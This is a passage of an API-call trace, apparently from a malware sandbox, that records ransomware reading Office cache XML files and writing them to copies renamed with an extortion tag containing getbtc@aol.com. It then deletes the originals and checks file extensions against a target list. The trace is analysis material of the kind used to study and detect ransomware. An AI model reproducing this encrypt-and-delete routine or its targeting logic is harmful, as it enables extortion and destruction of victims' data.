Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0036.207] lstrlenW (lpString=".jpg") returned 4 [0036.207] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.208] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.208] lstrlenW (lpString="Setup.xml") returned 9 [0036.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.208] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2362) returned 1 [0036.208] CloseHandle (hObject=0x1b0) returned 1 [0036.208] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0036.208] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.208] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.208] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.209] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0036.209] GetLastError () returned 0x0 [0036.209] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x93a, lpOverlapped=0x0) returned 1 [0036.212] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x940, lpOverlapped=0x0) returned 1 [0036.213] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.213] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.213] SetEndOfFile (hFile=0x1c4) returned 1 [0036.214] CloseHandle (hObject=0x1c4) returned 1 [0036.214] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.214] SetEndOfFile (hFile=0x1b0) returned 1 [0036.215] CloseHandle (hObject=0x1b0) returned 1 [0036.215] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.215] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.216] lstrlenW (lpString=".doc") returned 4 [0036.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.216] lstrlenW (lpString=".docx") returned 5 [0036.216] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.216] lstrlenW (lpString=".pdf") returned 4 [0036.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.216] lstrlenW (lpString=".xls") returned 4 [0036.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.216] lstrlenW (lpString=".xlsx") returned 5 [0036.216] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.216] lstrlenW (lpString=".ppt") returned 4 [0036.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.216] lstrlenW (lpString=".zip") returned 4 [0036.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.216] lstrlenW (lpString=".rar") returned 4 [0036.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.216] lstrlenW (lpString=".bz2") returned 4 [0036.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.216] lstrlenW (lpString=".7z") returned 3 [0036.216] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.216] lstrlenW (lpString=".dbf") returned 4 [0036.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.216] lstrlenW (lpString=".1cd") returned 4 [0036.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.217] lstrlenW (lpString=".jpg") returned 4 [0036.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.217] lstrlenW (lpString=".doc") returned 4 [0036.217] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.217] lstrlenW (lpString=".docx") returned 5 [0036.217] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.217] lstrlenW (lpString=".pdf") returned 4 [0036.217] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.217] lstrlenW (lpString=".xls") returned 4 [0036.217] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.217] lstrlenW (lpString=".xlsx") returned 5 [0036.217] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.217] lstrlenW (lpString=".ppt") returned 4 [0036.217] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.217] lstrlenW (lpString=".zip") returned 4 [0036.217] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.217] lstrlenW (lpString=".rar") returned 4 [0036.217] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.217] lstrlenW (lpString=".bz2") returned 4 [0036.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.217] lstrlenW (lpString=".7z") returned 3 [0036.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.217] lstrlenW (lpString=".dbf") returned 4 [0036.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.217] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.217] lstrlenW (lpString=".1cd") returned 4 [0036.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.218] lstrlenW (lpString=".jpg") returned 4 [0036.218] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.218] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.218] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0036.218] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.219] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1231) returned 1 [0036.219] CloseHandle (hObject=0x1b0) returned 1 [0036.219] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0036.219] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.219] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.219] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.219] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.219] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0036.219] GetLastError () returned 0x0 [0036.219] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0036.622] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0036.623] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.623] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0036.623] SetEndOfFile (hFile=0x1c4) returned 1 [0036.623] CloseHandle (hObject=0x1c4) returned 1 [0036.624] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.624] SetEndOfFile (hFile=0x1b0) returned 1 [0036.624] CloseHandle (hObject=0x1b0) returned 1 [0036.624] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.625] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0036.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.625] lstrlenW (lpString=".doc") returned 4 [0036.625] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.625] lstrlenW (lpString=".docx") returned 5 [0036.625] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.625] lstrlenW (lpString=".pdf") returned 4 [0036.625] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.625] lstrlenW (lpString=".xls") returned 4 [0036.625] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.625] lstrlenW (lpString=".xlsx") returned 5 [0036.625] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.625] lstrlenW (lpString=".ppt") returned 4 [0036.625] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.625] lstrlenW (lpString=".zip") returned 4 [0036.625] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.625] lstrlenW (lpString=".rar") returned 4 [0036.625] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.625] lstrlenW (lpString=".bz2") returned 4 [0036.625] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.626] lstrlenW (lpString=".7z") returned 3 [0036.626] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.626] lstrlenW (lpString=".dbf") returned 4 [0036.626] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.626] lstrlenW (lpString=".1cd") returned 4 [0036.626] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.626] lstrlenW (lpString=".jpg") returned 4 [0036.626] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.626] lstrlenW (lpString=".doc") returned 4 [0036.626] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.626] lstrlenW (lpString=".docx") returned 5 [0036.626] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.626] lstrlenW (lpString=".pdf") returned 4 [0036.626] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.626] lstrlenW (lpString=".xls") returned 4 [0036.626] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.626] lstrlenW (lpString=".xlsx") returned 5 [0036.626] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.626] lstrlenW (lpString=".ppt") returned 4 [0036.626] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.626] lstrlenW (lpString=".zip") returned 4 [0036.626] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.626] lstrlenW (lpString=".rar") returned 4 [0036.626] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.626] lstrlenW (lpString=".bz2") returned 4 [0036.626] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.627] lstrlenW (lpString=".7z") returned 3 [0036.627] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.627] lstrlenW (lpString=".dbf") returned 4 [0036.627] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.627] lstrlenW (lpString=".1cd") returned 4 [0036.627] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0036.627] lstrlenW (lpString=".jpg") returned 4 [0036.627] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.627] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.627] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0036.627] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.632] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5557) returned 1 [0036.632] CloseHandle (hObject=0x1b0) returned 1 [0036.632] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0036.632] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.633] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.633] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0036.633] GetLastError () returned 0x0 [0036.633] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0036.634] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0036.635] ReadFile (in: hFile=0x1b0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.635] WriteFile (in: hFile=0x1c4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xee, lpOverlapped=0x0) returned 1 [0036.636] SetEndOfFile (hFile=0x1c4) returned 1 [0036.636] CloseHandle (hObject=0x1c4) returned 1 [0036.636] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.636] SetEndOfFile (hFile=0x1b0) returned 1 [0036.637] CloseHandle (hObject=0x1b0) returned 1 [0036.637] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.637] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0036.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.638] lstrlenW (lpString=".doc") returned 4 [0036.638] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.638] lstrlenW (lpString=".docx") returned 5 [0036.638] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.638] lstrlenW (lpString=".pdf") returned 4 [0036.638] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.638] lstrlenW (lpString=".xls") returned 4 [0036.638] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.638] lstrlenW (lpString=".xlsx") returned 5 [0036.638] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.638] lstrlenW (lpString=".ppt") returned 4 [0036.638] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.638] lstrlenW (lpString=".zip") returned 4 [0036.638] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.638] lstrlenW (lpString=".rar") returned 4 [0036.638] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.638] lstrlenW (lpString=".bz2") returned 4 [0036.638] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.638] lstrlenW (lpString=".7z") returned 3 [0036.638] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.638] lstrlenW (lpString=".dbf") returned 4 [0036.638] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.638] lstrlenW (lpString=".1cd") returned 4 [0036.638] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.638] lstrlenW (lpString=".jpg") returned 4 [0036.638] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.638] lstrlenW (lpString=".doc") returned 4 [0036.639] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.639] lstrlenW (lpString=".docx") returned 5 [0036.639] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.639] lstrlenW (lpString=".pdf") returned 4 [0036.639] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.639] lstrlenW (lpString=".xls") returned 4 [0036.639] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.639] lstrlenW (lpString=".xlsx") returned 5 [0036.639] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.639] lstrlenW (lpString=".ppt") returned 4 [0036.639] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0036.639] lstrlenW (lpString=".zip") returned 4 [0036.639] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.639] lstrlenW (lpString=".rar") returned 4 [0036.639] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.639] lstrlenW (lpString=".bz2") returned 4 [0036.639] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.639] lstrlenW (lpString=".7z") returned 3 [0036.639] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.639] lstrlenW 